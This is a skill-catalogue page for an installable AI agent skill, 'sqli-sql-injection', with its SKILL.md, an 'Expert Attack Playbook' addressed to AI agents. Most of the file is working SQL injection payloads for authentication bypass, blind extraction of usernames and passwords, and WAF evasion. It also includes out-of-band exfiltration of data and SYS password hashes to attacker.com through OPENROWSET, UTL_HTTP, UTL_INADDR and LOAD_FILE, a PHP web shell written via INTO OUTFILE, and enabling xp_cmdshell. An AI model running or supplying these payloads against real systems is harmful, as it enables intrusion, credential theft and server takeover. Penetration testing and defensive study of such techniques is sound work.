sqli-sql-injection
SQL injection playbook
Install / Use
npx skills add yaklang/hack-skills --skill sqli-sql-injectionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of sqli-sql-injection
sqli-sql-injection scores 83/100 on our quality scale, 910th of 1,111 Security skills we index.
Its SKILL.md is 15 KB long, well organised into 51 sections with 34 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so sqli-sql-injection is actively maintained.
- Our last check on 2026-11-07 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill file instructs the agent to actively exploit SQL injection vulnerabilities, including authentication bypass, data extraction, and blind/time-based inference against user systems.
AI review: risky
- The skill file instructs the agent to actively exploit SQL injection vulnerabilities, including authentication bypass, data extraction, and blind/time-based inference against user systems.
- It directs out-of-band exfiltration of credentials and sensitive data via DNS, HTTP, SMB/UNC, and email (UTL_HTTP, UTL_INADDR, OPENROWSET, LOAD_FILE), and escalation to OS command execution (xp_cmdshell, UDFs, Java stored procedures, sp_OAM
- It includes extensive WAF/filter evasion techniques and second-order injection methods, clearly aimed at subverting security controls and hiding malicious activity.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
sqli-sql-injection compared with similar skills
All 4 of these similar skills score higher than sqli-sql-injection; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| sqli-sql-injection (this skill)by yaklang | 83 | 2.3k | 2mo ago | SKILL.md |
| claude-memby thedotmack | 100 | 117.6k | today | CLAUDE.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
Frequently asked questions
- How do I install sqli-sql-injection?
- Run
npx skills add yaklang/hack-skills --skill sqli-sql-injection. The install tabs above show the steps for each supported agent. - Which AI agents does sqli-sql-injection work with?
- It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is sqli-sql-injection safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill file instructs the agent to actively exploit SQL injection vulnerabilities, including authentication bypass, data extraction, and blind/time-based inference against user systems. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is sqli-sql-injection still maintained?
- The repository was last updated about 2 months ago, so sqli-sql-injection is actively maintained.
Skill content
View source on GitHubname: sqli-sql-injection description: >- SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
SKILL: SQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.
0. RELATED ROUTING
- ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywords are WAF-blocked — Jackson's
charToHextable is indexed bych & 0xFF, so a Unicode character like丰(U+4E30) resolves to hex digit0inside a\uXXXXescape sequence, letting you smuggleUNION,SELECT,1, etc. without the WAF ever seeing them
1. QUICK START
Extended Scenarios
Also load SCENARIOS.md when you need:
- SMB out-of-band exfiltration via
LOAD_FILE+ UNC paths (Windows MySQL) - KEY injection / URI injection / non-parameter injection points
- INSERT/DELETE/UPDATE statement injection differences
- ThinkPHP5 array key injection (
updatexmlerror-based) - Django GIS Oracle
utl_inaddr.get_host_nameCVE - ORDER BY / LIMIT injection techniques
Advanced Reference
Also load SQLMAP_ADVANCED.md when you need:
- SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
--technique,--risk/--levelcombinations and--second-urlfor second-order injection--os-shell/--os-pwnOS-level exploitation via SQLMap- INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
- GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
- DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER
If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
First-pass payload families
| Situation | Start With | Why |
|---|---|---|
| Login or boolean branch | ' or 1=1-- | Fast signal on auth or conditional checks |
| Numeric parameter | 1 or 1=1 | Avoid quote dependency |
| ORDER BY / sorting | 1,2,3 then 1 desc-- | Good for structural probing |
| Visible SQL errors | ' then DBMS-specific error probes | Error text gives DBMS clues |
| No visible output | time-based payloads | Stable fallback for blind targets |
| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |
Small, stable first-pass set
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS routing hints
| Clue | Likely DBMS | Good Next Move |
|---|---|---|
| You have an error in your SQL syntax | MySQL | try SLEEP() and @@version |
| Microsoft OLE DB Provider | MSSQL | try WAITFOR DELAY |
| PG:: / PostgreSQL | PostgreSQL | try pg_sleep() |
| ORA- prefix | Oracle | pivot to out-of-band or XML features |
| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |
1. DETECTION — SUBTLE INDICATORS
Most SQLi is found by behavioral differences, not errors:
| Signal | Meaning |
|---|---|
| Page loads differently with ' vs '' | String context injection point |
| Numeric: 1 vs 1-1 vs 2-1 returns same | Arithmetic evaluated |
| 1=1 vs 1=2 in condition changes result | Boolean-based injection |
| SELECT with ORDER BY N: column count enumeration | UNION prep |
| Time delay: '; WAITFOR DELAY '0:0:5'-- | Blind/time-based |
| 500 error on ', 200 on '' | Unhandled exception = SQLi |
| Different HTTP response size | Boolean blind indicator |
Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
2. DATABASE FINGERPRINTING
-- MySQL
VERSION() -- returns version string
@@datadir -- data directory
@@global.secure_file_priv -- file read restriction
-- MSSQL
@@VERSION -- includes "Microsoft SQL Server"
DB_NAME() -- current database
USER_NAME() -- current user
-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- current db (alternative)
user -- current Oracle user
-- PostgreSQL
version() -- returns version
current_database() -- current db
current_user -- current user
Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.
3. UNION-BASED DATA EXTRACTION
Column count determination:
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← until error = N-1 columns
Column type detection (NULL is safest):
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← find string column
Database-specific string concat (required when column accepts only int):
-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password
4. BLIND INJECTION — INFERENCE TECHNIQUES
Boolean Blind (conditional response difference)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
Time-Based Blind (no response difference)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
Use port 80 or 443 to bypass firewall egress restrictions.
Oracle — UTL_HTTP (HTTP GET with data in URL path)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.
Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...) -- send query results via email
-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — DNS via LOAD_FILE (Windows + UNC path)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE (in-band filesystem write)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
6. ESCALATION — OS COMMAND EXECUTION
MSSQL — xp_cmdshell (if enabled, or if sysadmin)
'; EXEC xp_cmdshell('whoami')--
-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF (User Defined Functions)
Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.
Oracle — Java Stored Procedures
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime
7. SECOND-ORDER INJECTION
Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.
Example attack flow:
- Register username:
admin'-- - Application safely inserts this into users table
- Password change function fetches username from session (trusted!) and builds:
UPDATE users SET password='newpass' WHERE username='admin'--' - Comment strips the condition → updates admin's password
Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
8. PARAMETERIZED QUERY BYPASS SCENARIOS
Parameterized queries do NOT prevent SQLi when:
-
Table/column names are user-controlled — params can't parameterize identifiers:
-- UNSAFE even with params: "SELECT * FROM " + tableName + " WHERE id = ?"Mitigation: whitelist-validate table/column names.
-
Partial parameterization — some fields concatenated, others parameterized:
"SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType not parameterized → injection -
IN clause with dynamic count (common mistake in ORMs):
SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized -
Second-order — data retrieved from DB assumed clean, re-used in query without params.
9. FILTER EVASION TECHNIQUES
Comment Injection (break keywords)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
Case Variation
UnIoN SeLeCt
URL Encoding
%55NION -- U
%53ELECT -- S
Whitespace Alternatives
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- tab
SELECT%0ausername%0aFROM%0ausers -- newline
String Construction (bypass literal-string detection)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101) -- 'username'
-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
10. DATABASE METADATA EXTRACTION
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U' -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
11. STORED PROCEDURE ABUSE
MSSQL —
Truncated for display — read the full file on GitHub.
Related Skills
claude-mem
117.6kPersistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
x402
121.0kSet up Browser Use Cloud payments with x402 — pay per request from a crypto wallet (USDC on Base mainnet), no signup or API key.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
